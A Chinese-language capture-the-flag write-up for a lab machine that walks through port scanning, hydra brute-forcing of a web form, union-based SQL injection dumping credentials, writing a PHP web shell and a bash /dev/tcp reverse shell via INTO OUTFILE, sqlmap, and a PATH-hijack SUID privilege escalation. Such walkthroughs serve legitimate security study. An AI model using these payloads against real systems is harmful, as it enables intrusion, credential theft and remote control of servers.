这是我对靶机的复习wp,截图ip可能不一致,是网上复制的,主要捋一下自己打靶的思路
一:nmap探测
首先nmap主机探测和端口扫描
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.139
nmap -sT -sV -O -sC -p80,111,777,59147 10.10.10.139
nmap -sU --min-rate 10000 -p- 10.10.10.139
nmap --script=vuln -p80,111,777,59147 10.10.10.139
这边端口扫描的结果得到主机ip:10.10.10.139,有几个注意的点:
1.ssh端口由22改成777端口
2.值得首先尝试渗透的端口就是80和777
二:Web渗透
首先尝试80的web
首页很简洁没有什么功能点
尝试目录爆破
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.139
得到两个目录phpmyadmin和upload,upload暂时利用不了,因为无法列出相应目录,phpmyadmin尝试了几个弱口令,失败,记住这两个目录,先去找别的信息。
查看源码没啥提示,就是一张图片+一句话。图片名称为main.gif。wget下载下俩看看
遇到文件,可以利用file,string,exiftool看有没有什么有用信息
这个看着像密码,尝试了一下phpmyadmin,还是失败,觉得可能是目录,尝试一下
这边的key还是尝试一下弱口令,没有成功,失败的情况如下图,会提示invalid key,查看源码,有红字提示
说这个表单并不连接到mysql数据库,密码没有那么复杂,还是尝试一下爆破吧
hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l aaa -P /usr/share/wordlists/rockyou.txt
由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败),-l参数表示login登录账号,随便填写一个即可
破解出来了,密码是elite,成功登入
三:sql注入
什么多不输入,直接回车
会有两个用户名出现,猜测会不会与数据库有交互,/?usrtosearch=这个也很值得怀疑是否有sql注入
简单尝试一下' '' 发现''可以构成报错,目前不知道他的数据库,万能语句尝试一下
" or 1=1 -- -
可以查出所有账号
四种注入方式
这边任何一种都可以,主要还是复习学习
1.手工SQL注入之联合查询
先测列数
"order by 3 -- -
也可以使用union select null,null -- -
尝试后发现有3列
这边没有哪个参数返回的是否可以是文本信息,直接尝试
看一下数据库,数据库版本,当前登入用户
" union select database(),@@version,user() -- -
当前数据库名为seth,数据库版本是5.5.44-0,高于5.1(存在information_schema这个数据库),数据库登录用户为root(root就很好)
下一步查看有哪些数据库:
" union select table_schema, 2, 3 from information_schema.tables -- -
可以看到一共有5个数据库,分别是information_schema,mysql,perforence_schema,phpmyadmin,seth。显然我们最为关注的是seth这个数据库
查看seth数据库中有哪些表:
''union select table_name,2,3 from information_schema.tables where table_schema="seth"-- -
就一张users表,查表里面的列
" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- -
users表中一共有四个字段,分别是id,user,pass,position,我们直接通过联合查询注入查找其中的前三个字段(一次最多显示三列)
" union select id, user, pass from users -- -
用户ramses,密码看起来像是MD5加密,解密看看
用hashcat或者直接放在线网站就行
https://hashes.com/en/decrypt/hash
解密密码是omega
好了,现在我们拥有一个有效的账号密码了,回想之前的777的ssh端口,可以尝试一下
ssh [email protected] -p 777
成功连接
这边先不去枚举提权。讨论别的方法
2.sql写木马
先明确一下sql写shell的前提
1.数据库secure_file_priv参数为空。即可写入文件
2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。
3.用户权限,第一个方法我们枚举出改数据库的用户是root
好了开始写入吧利用outfile函数,写入shell到文件shell.php
" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -
显示fetched data successsfully,看起来像是成功了
尝试一下命令ls
可以利用,让我们尝试用curl执行命令,尝试读取一些敏感文件,读取源码,可以看到这个界面与420search.php这个后端文件有交互,尝试读取一下
curl http://10.10.10.139/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php
记得将空格url编码
得到了root的账号密码,可以去尝试ssh,但是失败,这时我们联想到之前的phpmyadmin目录,尝试,成功登入,后续就是利用他查询seth数据库的users表里面存储的ssh连接用户账号密码,将密码解密即可
3.SQL注入写入反弹shell
可以写文件那就可以反弹shell
" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/reverse.php" -- -
注意:由于php语句是在双引号内,因此php语句中出现的双引号需要加\进转义。
访问reverse.php文件
kali本地监听
nc -lnvp 1234
成功反弹shell,不过是www-data权限的
这时候去查看420search.php文件得到账户密码,phpmyadmin登录,后面思路与上述方法一致不在赘述
4.sqlmap
建议手工都训练一下在使用sqlmap,
sqlmap -u 'http://10.10.10.139/kzMb5nVYJw/420search.php?usrtosearch=' --dump
suid提权
常规枚举whoami,sudo -l ,history,cat /etc/crontab,
在history中,发现一个文件被执行了,可以去看看
cd /var/www/backup
ls -liah
很好,该文件的s具有属组权限,也就是root的权限
尝试执行一下
貌似这个文件执行的操作sh和ps
我们建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:
ln -s /bin/sh ps
然后将当前目录加到环境变量
export PATH=.:$PATH
解释一下: 在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高,如果系统运行ps命令(即运行procwatch)会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh。,且权限是root
再次执行 ./procwatch
成功提权
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)